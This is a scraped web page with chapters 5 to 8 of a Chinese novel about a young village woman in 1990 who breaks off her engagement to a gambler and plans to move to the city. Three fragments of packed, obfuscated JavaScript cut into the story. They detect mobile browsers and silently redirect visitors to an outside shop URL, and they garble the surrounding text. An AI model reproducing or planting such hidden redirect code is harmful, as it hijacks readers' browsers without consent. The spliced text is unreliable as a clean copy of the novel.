这话说的在理，亲兄弟明算账，事如果发生在赵淑芬自己身上，那她也能这么干。但是老三那是娟子的亲叔叔，亲叔叔怎么能让侄女花钱？赔了咋整。 “赔了咋整？”她这么想的，也这么问。 “赔了就赔了呗。”韩丽娟用脚啪啪的打水。“赔了我就好好寻思一下为啥赔，就当花钱给自己买教训，我这么年轻，怕啥！” 怕啥？真是初生牛犊不怕虎，赔钱都说的轻飘的，反正也对，退婚都不打怵的人。 “你这一天心咋这么野？”赵淑芬就纳闷了，他们两口子都是本本分分的农民，没有那么多花花肠子，也不知道这姑娘随谁了，一天胆子大，啥都想照量照量。 这就心野了？韩丽娟不认同，这才哪到哪。她有一肚子的想法没跟她妈说呢，以前她想的结婚后就去市里，他们俩边打工边找机会，做点啥小买卖。现在婚退了，她得重新规划一下，现在县里已经有个人开的商店，而且越开越多，想来用不了多久，村子里也要有了，到时候人家的货品更齐全，家里的房子还不用房租，没啥乱七八糟成本，赚点就知足的情况下，她就没有价格优势了，而且到时候大家去商店买东西更方便，不用等，她这跑腿的买卖也坚持不了多久。 她考虑过自己在村子里开一个，但想到农村的销量，如果单靠卖货，一年净到手也就一两百，为此压一堆货，还要搭上人工，房子，觉得不合适。 而收鸡鸭鹅狗和鸭毛鹅毛都依赖她老叔，有她没她关系不大，是她老叔愿意带着她赚钱，如果没有她，附近这些村里货老叔完全也能收，她不想一直这样。 “妈，心野点不好吗？不是你说的，那钱不是大风飘来的，得靠自己赚，我这是听话。”赵丽娟忽闪着眼睛，屁股往她妈那边挪了挪“等我赚了钱，你想要啥，我给你买啥，你想想，开心不开心。” “开心开心，我等着哈，我看到时候你是能给我买房子还是能给我买地。”赵淑芬就知道，她这次又败下阵来。 “嘿嘿嘿嘿……”韩老四在一旁听笑了。 “爸，到时候我也给你买，你等着哈。”韩丽娟回头给他爸画大饼。 “行，爸等着，我闺女，一定行。”韩老四高兴的应道。 “那是！” “唉呀妈呀，有吹的就有捧的，哎你别躺着了，去把鸡圈门关上。娟子去把洗脚水倒了，回来扫抗擦抗。都赶紧的……” “唉！” “哦！” 5. 第 5 章 又隔了两天，韩丽娟再次到了街里。 街里不大，横平竖直的几条街，半个小时就能逛一圈。中心是一座商场，第一百货，简称一百。 所谓的商业街也就是围绕一百周围的一块，商业不发达。 县里没啥工业，唯一能算的上厂子的是糖厂，他们县产甜菜，外运成本太高，不如直接制成糖品或半成品，再运出去。 韩丽娟先去她老叔家送鹅毛，她老叔家住县城边上，租的房子，原户主老头走了，老太太去市里投奔孩子，就将这房子租出去。 她老叔没在家，出去收鹅毛了，她把鹅毛留给她老婶，就要去下一处。 “中午回来吃饭哈。”她老婶抱着小丽彤跟她说。 “不了，老婶，我一会忙完还要学校看小敏去，然后就回了。”今天韩丽娟安排依旧紧凑，中午就不过来了。 她总来，她老婶也不跟她客套，她说不回来吃，那就不回来。 从老叔家出来，就直奔利民商店。 利民商店没在商业街附近，在一处居民区沿街的一个小平房，开在胡同口，不大的一个小店面，卖的东西种类不少，但是每种货品的数量都不多。 “丽娟来啦！”方巧珍跟女儿孙慧都在店里，看见她忙招呼到。 “姨，知道你爱吃冻白菜，给你从家里拿了两颗。”韩丽娟看到方巧珍也在，从兜子里掏出两颗冻得硬邦邦的白菜。 “哎呀呀，这冻白菜真好，可比我自己老秋买的白菜冻的好。”方巧珍高兴的接过，拿在手里仔细打量，这可是最正宗的“趴拉棵”，“趴拉棵”就是没完全包心长成的大白菜。 她是真高兴，她家虽然也是农村出来的，但不是本地户，她对象当年被分配到这里客运站当司机，她就带着孩子跟了过来，家里的亲戚都远，别人住街里，都有附近农村的亲戚帮衬着，给送点干菜，冻菜啥的，她家全靠自己买。 “我得赶紧送回去焯一焯，一会在屋里化了就不好了。”方巧珍拎着冻白菜要走，她家就在胡同里面住着。“丽娟，你跟小慧在这坐会，一会中午家里吃饭哈，我捞点二米饭。” “姨，一会我去看我妹，不在这吃！”韩丽娟话都没说完，方巧珍就走远了。 “你妹离这也不远，吃过饭再过去也不耽误。”孙慧在一旁说。“那天你回去咋样，没冻着吧。” 孙慧说的就是下雪那天。“没有。”韩丽娟摇头。 “那就好。”孙慧从柜台地下拿出一个包裹。“这是你上次让我给准备的，蜡烛，顶针，针线，嘎啦油……你看看。” 韩丽娟本来坐在炉子旁烤火，闻言走过去，仔细核对了一番。“对，算算账，多少钱。” 孙慧就当着韩丽娟的面打算盘。“不囤点糖精了？前几次你每次来都不少要。” “各家各户都开始包豆包，该买的都买了，我那还有点货底子，够了。” “你说你年后想去市里转转，有啥计划吗？”孙慧接着问。上次她俩就聊来着，但是天气不好，韩丽娟忙着回去，没聊起来。 韩丽娟摇头，她还真没去过市里。“我想着走一步看一步，总要去看看，你有啥想法？” “我能有啥想法。”孙慧更是把头摇的像拨浪鼓。“不过，我妈之前倒是说过，让我趁着年轻，学门手艺。”孙慧说道。“她说学美发挺好，学个一两年，回来给我也整个这样的小店面，开一家理发店。”说完，把算盘往韩丽娟面前一推“你看，一共三块六毛八，这次蜡烛多，贵一点。” 韩丽娟自己在心里算过了，闻言，掏出钱递给孙慧。“不错，我也考虑过，但是我这人不爱摆弄头发这些。”韩丽娟的头发就是简单的梳俩麻花辫，同村小姑娘们喜欢用卡子把刘海弄得弯弯的往额头扣，她不爱摆弄。 “我想着看能不能找份工作，端盘子洗碗什么的都行，先在市里站住脚，慢慢看。”韩丽娟虽然想出去，但是也知道她在市里没根基没人脉的，急不得。 “那……”孙慧接过钱，眼珠子转了转“娟，如果年后你要去市里，带着我呗，咱们一起租房子，还能省些房租。”主要是，韩丽娟这人可靠，她自己可不敢一个人闯荡市里。 “你家里同意就行。”韩丽娟没意见，有人跟她搭伙，更好。 俩人又聊了一会，快到中午，韩丽娟拒绝对方热情挽留，去县一中看了自己妹妹后，就往家赶。 远远的看见自家门口好像停着一辆马车，韩丽娟想了想，停车掉头，她想从后院悄悄回家，看看什么情况。 她将自行车停靠在后园子，耳朵靠在后墙，想听听屋里的动静。但是后墙跟屋子中间隔着厨房，也听不到啥，于是，她顺着墙往东走，准备趴在东墙上听一听。 “唉呀妈呀！” 韩丽娟太过专注，以至于没听间后边的脚步声，听到惊吓声才回头。 李老二他媳妇，范志强他小姑，站在她身后。 “范……二大娘。”之前定亲后，韩丽娟叫她范小姑，虽然没直接叫姑，也是很亲近了。如今退亲，恢复村里小辈叫法，改叫二大娘。 “啊，那个……我……”李老二媳妇也挺尴尬，听村里人说她哥嫂过来，好像是跟韩家的亲事有变故，她想过来看看，谁想到在老韩家后院遇到偷听的韩丽娟。 称呼改了，不再是以前亲近的姑，而是村里的二大娘。她也不是那种能说会道的，听到称呼的一瞬间，忽的不知道说点啥。 “我这刚从街里回来，二大娘进屋坐坐？”韩丽娟像没事人一样，推着自行车邀请到。刚刚趴墙根也没听到啥，她本来也要回家看看的。 “啊？啊！好。”李老二媳妇点头应道。 二人各自怀着心事，进了屋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060115|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屋里乌烟瘴气的。 村里人抽的是旱烟，年纪大的几乎不分男女，都能抽两根，韩丽娟一进屋，他爸，他二叔，范志强的爸妈人手一根烟，把屋子抽的烟雾缭绕。 人多，女的坐炕沿上，男的坐凳子，还有范志强，倚着立柜，眉眼耷拉站在那，看见韩丽娟的瞬间，情绪都上涨不少。“娟子，你回来啦！” 老范家人以及大的热情迎接韩丽娟，不知道的以为这是他们家。尤其是范志强，从昨天王二麻子到他家说了退亲的事之后，他爸妈指着脑袋骂他，刚刚在这也骂了一顿，他特别希望韩丽娟赶紧出现，解救他于水火。 范志强他妈上来拉着韩丽娟的手。“姑娘，路上冻坏了吧。” 韩丽娟以脱手套为借口，挣脱出来。 她转身的瞬间，看见她妈眼睛都要翻上天。若不是场合不对，韩丽娟都想笑出声，不用想都知道，刚刚经历了什么。 “娟啊，昨天你王二大爷去我家，说是你要退亲，是不是我家这臭小子惹你生气了？大娘替你骂他了，咱不退亲了，听话哈。”看着韩丽娟脱完手套，围脖，范志强他妈赶紧又凑过来，温声细语的对韩丽娟说。 这话说的韩家人都不爱听，什么叫替“你”骂的，娟子也不是范志强的爹妈，管不到他头上。还有老范家也不是娟子长辈，娟子听哪门子他们的话。 这老范家揣着明白装糊涂，想着娟子年轻抹不开面子，不好拒绝。甚至要是娟子顺着点点头，老范家能立马打蛇上棍。 “范家大嫂，退亲这事是家里长辈定的，娟子她年轻，懂啥。”韩丽娟他二叔张嘴说道。 退亲不是结仇，没必要两家搞得你死我活，有些话他大哥大嫂说不得，他来说合适。 “为啥退亲，老王二哥说的不明白？”赵淑芬忍着没吵出来，而是略微提高音量的问了句。她知道不该说，但是忍不住。 “到底咋回事，大哥，大嫂？”范小姑听得一头雾水，好好地为啥退亲啊！这一屋子的人，好像除了她，都知道咋回事。 没人回答她，韩家人知道咋回事，不想当着人家面揭短，范志强爹妈更不想提。 “娟她妈，咱们都是当爹妈的，孩子还小，也不能一棒子打死是不是？”范志强他妈说。“我们都在身边盯着呢，这些日子都没出事，孩子是爱玩，但是心里有数，不乱搞，娟子要是不喜欢，就让他改，以后不犯就是了。真没必要为了这点事退亲。” 范志强他妈忍气吞声的说，想她也是个脾气火爆的，为了这个不争气的儿子，不得不说些好听软和话。 “你还在那傻站着干啥，在家怎么跟我和你妈说的！”另一头，范志强他爸一声喊，让站在一边的范志强一激灵。“娟子，我错了，我以后再也不赌牌了！”条件反射一般，说出来。 “赌牌？”范小姑大呼一声！ 6. 第 6 章 “对，赌牌！”赵淑芬加重口音重复道。 “这……”范小姑想说，这怎么能赌牌呢，哪个正经过日子的人家赌牌啊！ “咳！”范志强他爸咳嗽一声。 范小姑闭上嘴。 韩丽娟也没说话。 这个场合，韩丽娟其实不适合多说话，她就在这盯着不出状况就好。 虽说现在讨论的是她的事，但她不好插嘴，不然范志强一家就会全力来劝说她。刚才要不是范小姑插嘴，她还真得回一下范志强，现在打岔过去，也挺好，她不想跟他说话。 一时，屋子里安静下来，没人说话。 “我四个儿子，前三个都结婚了，你们出去随便打听，我老范家对儿媳妇那都是没话说的。我跟他爸，哪个过日子不是把好手！他爸生产队时候就是拖拉机手，干活立整沙楞，我养那鸡鸭猪，养啥像啥，我们家不是那孬人家。” 沉默半响，终归还是范志强他妈先说了话。没办法，错处在自家，就得上赶着。 范志强她妈没瞎说，他们范家人品不错，日子过得说得过去。要是别的事，韩丽娟就是搅翻天，韩老四两口子也不同意退亲。 “唉！”赵淑芬本来挺生气，但是听了这话也气不起来，都是为人父母，她太理解范志强父母今天的一举一动。可理解是理解，这边也是自己的亲闺女啊，女孩嫁人是一辈子的事情，找女婿没毛病的都要巴拉巴拉挑一挑，何况这么一个天大的问题杵在这。 “老嫂子，都是有儿有女的，我有儿子，我懂你。你也有女儿，凭着良心，要是你闺女今天遇到这事，你咋办？” 别说就只是定个亲，就算结婚了，女婿屡教不改，人脑袋打成狗脑袋，也得把自家姑娘捞出来。 “你这孩子，你这办的啥糊涂事，你说说你。”范志强妈一时语塞，只是用手锤站在一旁的范志强。 早不教，晚不教，这是上她家当面教子来了。老韩家内心集体翻白眼。 “老四，你看这样，之前咱们说彩礼一千。要是这亲不退，彩礼翻倍，小两口结了婚就分出单过，房子家具我都给准备好，以后他们小家娟子说的算，我们老两口不掺和。” 一直没咋说话老范开口了。 儿女都是债，范志强赌的事他们知道，也管过，但是……想着在他们身边也出不了啥大事，不赌大的，玩一阵没准就消停了，谁知道让未来亲家知道，还闹到要退亲。 “至于他赌的这件事，我们老两口盯着他，让他跟那伙人断了联系，他也没真的闯出啥大祸，不然先不退，再看看呢？” 老范家是真的相中韩丽娟这姑娘。小姑娘板板正正的，还踏实肯干，他们老韩家一家子人也都和气，这婚能不退还是不退的好。 范志强他爸说要加彩礼的时候，韩丽娟就感到危险。后面又接着说的自己当家呀，结婚就分出去啊这些，完全是会让她妈心动的话。 果真，她看到她妈脸色缓和了。 不行！ “那要是结婚以后他又赌怎么办？”韩丽娟问。她要提醒她妈，没听说几个赌徒能完全戒掉。 “不会，不会！”范志强他妈赶紧说。“我们说他了，他说他改，再也不赌了。” “大娘，之前你们知道他赌，没管过吗？”韩丽娟接着问。 “这……”范志强他妈转头看看老伴。这要说啥？说之前不知道，一听就是骗人的。说知道没管，有点不像样子。说管了不好用，那怎么保证这次管了就好用？ “咳……”赵淑芬也反应过来，她姑娘这是提醒她，婚是一定要退的。“我们可不是卖女儿的人家，之前订亲的时候我们也没多要彩礼，而且也说了，不管多少彩礼，我们一分不拿，结婚跟着带回去。我们就想给姑娘找个好人家。” 她姑娘可真小瞧她了，虽然心动，但她还分得清轻重。 “那你们有啥条件，你们提也行。”范志强他爸又说。 “老范大哥，我们知道你们今天过来的用意，但是我们老韩家不拿儿女婚事拿乔，既然找了媒人过去，那这事就是这么定了。”韩丽娟她爸坐在那，一锤定音。 他也说不出啥花花话，定了的事就定了，也没必要反复拉扯，他们家本意就是退亲，不是为了这事跟老范家要好处。 “哎，做饭吧，这也半下午了，老范大哥他们也该饿了。”韩老四对着赵淑芬说。 “行，我做饭。”赵淑芬站起来。“家里现成饭，老范大哥大嫂别嫌乎。” “快别做，我们不饿，别忙乎了。”范志强他妈赶紧也站起来阻止。 “大哥大嫂，你家还没包豆包，我回家取点，让老范大哥大嫂尝尝我家豆包今年咋样。”韩丽娟她二叔也站起来。 “不用，不用，我们早晨饭吃的晚，不饿……”范志强他爸也站起来。 “婶，你别忙乎了，我们回家吃去。”范志强也加入。 一屋子人站起来撕撕吧吧的，场面有些好笑。 “大哥大嫂，去我家吃吧，你这来我们村，不去我家吃饭，说出去别人笑话。”范志强他小姑站起来说。 这屋子除了范志强，没有傻人，范志强小姑品了品，心里叹口气，老韩家这是撵客呢，也是，人家都说了要退要退，自家在这强人所难，还在这扒着不放，这不是惹人烦吗。 要她说，还不如先去她家待一会，商量商量后续的事儿。老韩家要是不行，赶紧换个人家相看。当然，前提是，让他这大侄子戒了赌。 事已至此，范家一行人离开了。 范家人走了，韩丽娟二叔也跨过院墙，回家了。 三人回屋，一边收拾，一边唠闲嗑。 “以前没发现，怎么老范家那小子虎超的呢！”赵淑芬拿着水盆， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060116|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边泼地一边寻思，那天下大雪来接韩丽娟他就觉得这孩子不尖，今天更逗。 “妈，我之前就说他不精，你说他那是老实，我看是憨。”韩丽娟端走刚刚客人用的水杯，等她妈泼完水，拿着笤帚开始扫地。 “你说你挺尖的孩子，看着家里门口有马车不知道咋回事？咋还回来！我不安排人去村口堵你，你就不知道躲一躲啊。”赵淑芬可不爱听她姑娘说她看走眼这种话。 “我本来想在后院观望观望，谁知道老李家二大娘过来，正碰个满怀，我一想，他们今天见不到我，也还要找机会找我，那我还躲啥。” “姑娘说的不错，他们家在这待一小天了，磨磨蹭蹭的，不就是想等着咱姑娘回来哄一哄。” “诶呀，你俩不愧是爷俩啊。”赵淑芬看着这爷俩一唱一和的，忍不住抢白道。 “嘿嘿嘿。”韩老四招牌一笑。 “别嘿嘿了，做饭吧，姑娘是不是饿了？”赵淑芬抬头瞅了眼挂在墙上的摆钟。“这眼瞅着都四点啦。” “行。”韩老四转转悠悠去了厨房。 “我跟你说，你最近几天给我消停的，我看那范志强走的时候，还一个劲的回头看你，别哪天半道截你。” 赵淑芬想着，看今天老范家这架势，怕不是来这一次就死心，这事最终还是她姑娘跟老范家这小子的事，没准想着要来哄她姑娘。 范志强也没啥胆子做啥，但是年轻小姑娘跟小伙子在道上拉拉扯扯的，到最后传出去，吃亏的还是女的。 “我知道，最近几天不去街里，等元旦去接我妹再过去。”韩丽娟点头答应。眼转子一转，往她妈身边一靠。“妈，跟你说个事，就我经常去那个利民商店她家在市里有关系，年后她家姑娘要去学手艺，不想一个人过去，想让我跟着去，你觉得咋样？” 赵淑芬一听，不错眼的盯着韩丽娟看了半晌。“真的？” “真的！”韩丽娟加重语气，仿佛真的不能再真。 “人家为啥带你？”赵淑芬不信。 “为啥不带我，我也算跟她家姑娘知根知底，年纪相仿，办事也算可靠吧。”韩丽娟在她爸妈面前自夸从不吝啬。 “学啥？”赵淑芬又问。 “美容美发。”韩丽娟说。“妈，我就出去闯荡两年，到时候回街里，也整个小店，给人理发不挺好。” 小店大风吹来的？赵淑芬觉得女儿天真，但刚刚经历退婚的事，她不想打击她。“去市里我没意见，但是家里要是给介绍对象你的相看，定期回来，不能一跑就没影，听见没？” 总归一个小姑娘，要是真学点手艺也行，总比种大地出大力强。 出人意料的事，这件事就这么平静的过去了。范志强没出现，他家人也没再过来，在村子里遇到范志强小姑，也没什么异样。 时间滴滴答答跳到1991年。 7. 第 7 章 进入三九，天一天冷过一天。包豆包，撒年糕，再过几天，进了腊月，就有人家开始杀猪了。 韩老四两口子合计今年买多少猪肉过年。 韩丽娟家也养了猪，但是留着卖钱，没准备杀，他大哥娶媳妇，家里拉了些饥荒。 “大嫂，在家呢？”这时，王红梅来了。 她几乎天天来，有时候一天来几趟，韩丽娟打过招呼，也没在意。 王红梅神神秘秘的打量韩丽娟几眼，凑到赵淑芬身边。“大嫂，我给娟子介绍个对象啊？” “真的？”赵淑芬精神一振。 嗯？这也吸引韩丽娟注意力。 “真的，你前几天不让我给帮着搭个搭个嘛，我能不上心！”王红梅点头。 “这刚退亲，就相看新人家，是不是不太好。”赵淑芬心想可太好了，但是又犹豫。 “那有啥，又不是没退，那么封建呢。再说有错的又不是咱家姑娘，咋地，还等它三年五载的，那老范家孙子都抱上了，咱们再找才不被人讲究？”王红梅不认同，既然单身，遇到合适的，那就看看。 “也是，快说说，啥条件。”赵淑芬也就犹豫那么一瞬间。 “我也在这呢，你们给我找对象不得问问我？”韩丽娟忍不住打断她妈跟她二婶。 “咋滴！你不想找？”赵淑芬转头瞪眼，那架势仿佛韩丽娟敢说个“不”字，一口能将她撕裂。 “找找找。”韩丽娟点头。 “别再那嘻嘻哈哈的，我跟你说，找对象是正事。”赵淑芬看韩丽娟没拒绝，脸色才好一点。 王红梅顺势说起来这个小伙。 她昨天回娘家看她妈，跟她大嫂说起这事，她大嫂娘家屯里有这么一个小伙子，今年二十二，岁数相当，之前也相过一个对象，都谈婚论嫁了，那边那家突然说要回关里家，闺女也得跟着回去啊，这就黄了。 “这小伙长得挺立正……”王红梅把她听到的关于这小伙子的事情说个遍。“家条件一般，没范家有钱。小伙爹妈就他这么一个儿子，好几个姑娘，但叔辈的兄弟不少。”末了，说道“大嫂你看要是合适，我就让我大嫂帮着搭个搭个，咱们见一面看看。” 就他自己啊？赵淑芬有些犯嘀咕。“那以后负担重啊。”爹妈老了，都得靠他养，平时种地啥的也没个帮衬。 但是姐妹多，也不是没有好处，现在养老也不那么分儿女，女的结了婚以后，家里有啥事也能回去搭把手，那孝顺的姑娘比不孝顺的儿子强百倍。“那……见见。”赵淑芬转头看向韩丽娟。 “我能说不吗？”韩丽娟反问。 “见！”赵淑芬干脆利落道。 说见就见，不出两天，王红梅就传来消息，说她大嫂带着那小伙要过来。 小伙子挺标准的个头，赵淑芬一眼就相中，挺好。 “要我说，咱们那也别在中间传来传去，现在都啥年代了，咱们让人家小年轻自己聊，要是聊得来就接触接触，聊不到一起去也不耽误时间。”王红梅她嫂子说道。 众人觉得有道理，说话间，几个妇女都跑去厨房待着烤火取暖，把屋子让给韩丽娟和这个小伙。 韩丽娟打量这个青年，青年也在偷看韩丽娟，被韩丽娟发现，还不好意思的笑。 也许，可以试试？韩丽娟心想。 但是毕竟已经定过一次婚，这次韩丽娟态度谨慎了些。她对以后有点乱七八糟的规划，不知道对方能不能认同。 “我想问你，如果结了婚，你能跟我去市里吗？”俩人简单聊几句，熟悉之后，韩丽娟开门见山问。 “去市里做什么？”对方有些疑惑。 “打工或者做点小买卖什么的。”韩丽娟回到。“我们村每个人几亩地，你们村也差不多吧，咱们俩合起来一垧多点的地，一年的收入是有限的。” “我可能不行。”对方倒是实诚，他顿了顿。“我父母年纪都打了，不管是家里还是地里，都离不开我。” “我是想出去的。”韩丽娟说。 “哦，我懂了。”对方点头。 “嗯。” 长久地沉默后，韩丽娟回头看向厨房。她家厨房跟卧室之间有个窗户，是能看见的。 赵淑芬跟王春红姐妹俩在厨房正小声蛐蛐的开心，忽然见她女儿回头。这就聊完了？ “咋回事？”人都走之后，赵淑芬问道。 “不行。”韩丽娟回道。 “为啥？哪你没看上？”赵淑芬看这孩子挺好啊，长得也不丑，说话斯斯文文的，也不凶。 “他说他得陪在父母身边，我说我结婚以后想出去闯闯。”韩丽娟实话实说。 “嘶！我说你这孩子，是不是傻？哪有第一次见面就说结婚以后要干啥的！”赵淑芬听得直拍大腿。“这小伙多合适啊！你是不是不想找？怕找了影响你去市里？我跟你说，你要是不找对象，别想去市里了！” “妈！”韩丽娟不知道怎么跟她妈解释。“我没有，我就是觉得要实话实说，那找对象不得两人对以后的想法一样吗？他想他的，我想我的，我俩都想不到一起去，怎么合适？”她觉得她妈见个男的就合适。 “第一次见面想法就一样？你不能结婚以后再说吗？”赵淑芬不明白，哪有那么可丁可卯合适的，不都得慢慢磨合，遇到事情两个人互相迁就，然后决定吗。 “结婚了也改变不想法，他能扔下他爸妈跟我去市里啊？！”人家家里的地都得靠他种，想也不能跟自己出去面对未知。 “结婚以后，你俩就是一家人了，你这傻孩子，到时候什么他爸妈啊，还不是你说咋地是咋地。”还是年轻人，啥也不懂。 “明天我让你二婶去找那边说一说，你们接触接触，我看了这小伙挺好，虽然穷点，但眼神正，不是那不正经的人。你别犯傻，总想着出去，先把对象找了是正经的。”赵淑芬一锤定音。 “我不，过完年我就走。”韩丽娟不听。 “你敢，腿给你打折了！”赵淑芬气愤的说。 韩丽娟觉得她妈不可理喻。收拾收拾东西，拎着小包裹，又去他奶家了。 “这死孩子！”赵淑芬气的拿起身边的扫炕笤帚摔到炕里。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060117|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“快别哭了。” 韩丽娟她奶家，老太太没想到，她这么大岁数了，还得哄孙女，还是这么大的孙女。“你妈就是着急，说话才重了点。” “她不讲理，就因为我今天相亲没成功，她之前都答应让我去市里，现在又反悔，还说要把我腿打折。”韩丽娟抽抽噎噎，对象没相成，其实她也难受的，她当然希望自己的人生处处完美，有一个合自己心意的丈夫，有一个能看得到的未来，但是，目前都没有，没有就没有，她可以摸索着往前走，但她搞不懂，为什么她妈要这么说她。 “这老大媳妇，回头我得说说她，那买斤猪肉还得挑挑拣拣的呢，相个对象没成就没成呗，这么说孩子干啥。”老太太一边给韩丽娟顺后背，一边跟老头说。 “哎呀，当妈的……”老头在一旁靠着墙，抽着烟袋，话说一半就停了，未说的话，其实跟老太太之前的意思一样，当妈的着急，说话难免不那么顺耳。 “你看着没，你爷这功夫成好人了，帮你妈说话呢，整个老韩家就你奶是坏人。”老太太放低声音，在韩丽娟耳边叨叨。 “你咋就这么歪歪呢，咱家谁不是好人你也得是好人呐。娟子，你知道你为啥有时候觉得你妈不讲理吗？那都是跟你奶学的，你奶生错时候了，要是搁现在那可是好老师。”论起来，他爷爷的嘴也挺厉害。 “嘿嘿嘿嘿……”韩丽娟没忍住，笑出声。 “饿不饿？你老叔那天回来给拿的冻柿子，爷给你缓上个？” “好。”韩丽娟点头。“我去拿。” “这小姑娘，长个吃脑袋。”老太太伸手点了一下韩丽娟的脑门。 “啊~~~~~奶！”这边韩丽娟好不容破涕为笑，还没安静两分钟，就听见一阵嚎哭声，从远到近。 二蛋张个大嘴，哭着来了。 这咋了这，今天一个个的。老太太看站在地上的二蛋，刚刚舒展的眉头，又皱了起来。 她这满脸的皱纹，都是这么来的！ “你这是又咋啦？”老太太明显有点不耐烦。 “奶，我妈打我~~~~~”二蛋属实有点干打雷不下雨，嘴张的老大，手一个劲的抹眼泪，却没见几滴泪流出来。 “为啥啊？”老太太知道，她这儿媳妇厉害归厉害，可不无缘无故打孩子。 “因为我期末考试倒数~~~~” “该！”老太太一听，就觉得打的对了，学习不好还不能打？ “她还骂我~~”二蛋不干了，他奶怎么能这么对他。“我妈说，是人出息人我也不带出息人的，我要是能出息人，龙叫三声虎下个蛋。啊~~~~”二蛋看他奶压根不把自己挨打当回事，又学他妈是如何骂他。 他怎么就不能出息人了？她妈的话，伤害了他弱小的心灵。 “哈哈哈哈哈哈……”韩丽娟的同情心，一瞬间飞了，她忽然觉得，她没那么难受了，跟她二婶比起来，她妈嘴下留情了。 “哈哈哈哈……”实在太好笑了，韩丽娟笑的躺在炕上。她奶看不过，去推她。“二蛋哭的这么伤心呢，你笑啥，哈哈哈哈哈……” 8. 第 8 章 “这是咋啦，这么热闹？”几人正笑着，门又开了。 韩丽娟他老叔回来了。“老叔！你今天咋有功夫回来？”韩丽娟虽然隔三差五的去街里，但不是每次都能遇见老叔，她老叔也十里八屯的跑，每天很忙。 “嗯呢，今天没啥事，回来看看，顺便拿点大黄米。”眼看着进了腊月，腊八得煮黄米饭，他那没有，今天有空，就回来一趟。韩丽娟小叔摘掉帽子，一边捂着耳朵，一边往炉火边凑着烤火。 最近天越发的冷了。 “这咋，小财迷眼睛咋通红呢？”他看见韩丽娟眼睛红彤彤的。“哭呗精又唱上了？”又转身去逗看他回来已经不哭的二蛋。 二蛋本来不哭了，被他老叔逗得又要张嘴嚎。 “你咋回事，这么大了还没正行，有点当老叔的样！”老太太看不过眼，给了她老叔一杵子。 “哈哈哈哈，别哭了，去看看我带啥回来了。”她老叔朝厨房扬下巴。别人给他一条大鱼，他一分为二，将鱼头那半带回来。 二蛋噔噔噔跑过去，撑开袋子。“呀，鱼，好大的鱼头。” “呀，美小子回来啦。”这时，又有人开门进来，村里的张五叔。 美小子，韩丽娟她老叔的小名，她老叔有一个霸气的名字，韩超美，但在同辈中属实年龄太小，在小八，小美子和美小子之间，他老叔选择了美小子这个小名。 韩丽娟父辈们，名字一个比一个霸气。她爸叫韩爱国，她二叔叫韩建设，他还有叫韩拥军，韩援朝，韩国强的叔叔大爷们。 “那啥，娟子，我家那个大鹅今天拔毛，之前没拔过，寻思让你去看看。”张老五跟韩超美寒暄了一会，就找韩丽娟说话。他一开始去韩丽娟家找，赵淑芬说她来前院她爷家了，他就又找到这。 “行，我跟你去看看。”本来想去围观一下鱼头的韩丽娟紧忙穿上大棉袄，带上围脖手套，跟着张老五走了。 张老五家院子，大鹅嘎嘎乱叫，小狗也跟着凑热闹，左跑右跳。张五婶看见韩丽娟进院子，急忙打开了屋门，冷气热流一交锋，瞬间打成一片，白雾飘飘。 “我家第一年整这玩意，我寻思让你五叔去找找你，问问这东西咋整，啥样的毛能收，我听说不用开水烫就能拔毛？” 张五婶一边把韩丽娟迎进屋子，一边说道。 “其实过程都一样，干拔就是把杀好的鹅蒸一下，不直接用开水烫，唯一注意的就是控制火候，五叔，你杀一只鹅，我告诉你们要蒸多久，然后告诉你们什么样的毛和绒留着。”韩丽娟三言两语就把事说清楚。 “行，我现在就去。”张老五去院子抓大鹅。 “五婶，你家没少养啊！”韩丽娟看着院子里的大鹅，得有十多只。 “嗯呢，去年见你老叔收鹅毛，我们寻思，这鹅毛，鹅蛋，还有大鹅肉都能卖钱，就养点试试。”别管赚多赚少，多少能有点赚。“村里人都杀的差不多了，我家寻思晚几天，能多长点绒，这才等到现在。” “整的真好。”韩丽娟说道。 “哎呀，好啥，凑合着来呗。”张五婶摇摇头。“我看你跟你老叔俩才整的好，我们不行，也就会种点地，养点东西。我跟你五叔，跟你们说话唠嗑那还行，出去就不行。”看见陌生人发憷，不会打交道。 “哈哈哈，五婶，也就你这么看我，你看我妈，说我跟我老叔五马倒六羊的，钱没挣着多少，天天不着家。”韩丽娟不认为日子过得好不好，跟会不会说话有啥大关系。村里好多人都不是能言善道的，但是人家日子过的都挺红火。 包括张五叔家。 “哈哈哈，你妈那是当你面不好意思，跟我们可不这么说，那一说起你，浑身都是劲。” “啥浑身都使劲啊？”张五叔拎着杀好的大鹅进来。 几人就开始忙着蒸鹅，然后拔毛。 张老五家两个小姑娘也过来凑热闹，看韩丽娟说什么样价格的毛怎么区分。 